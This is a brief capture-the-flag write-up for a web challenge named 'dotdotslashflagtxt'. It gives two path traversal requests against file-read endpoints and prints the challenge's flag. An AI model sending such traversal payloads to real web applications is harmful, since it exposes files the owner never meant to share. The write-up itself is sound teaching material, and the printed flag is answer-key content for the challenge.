dotdotslashflagtxt

Challenge

The challenge name is literally dotdotslashflagtxt — a heavy hint.

Approach

The web app has a file-read endpoint. Use classic path traversal:

1

GET /read?path=../../flag.txt

or

1

GET /download?file=../../../../flag.txt

Try variations until the server returns the flag file contents.

Flag

boroCTF{p@th_Tr@v3rs@L_r0Ck5!}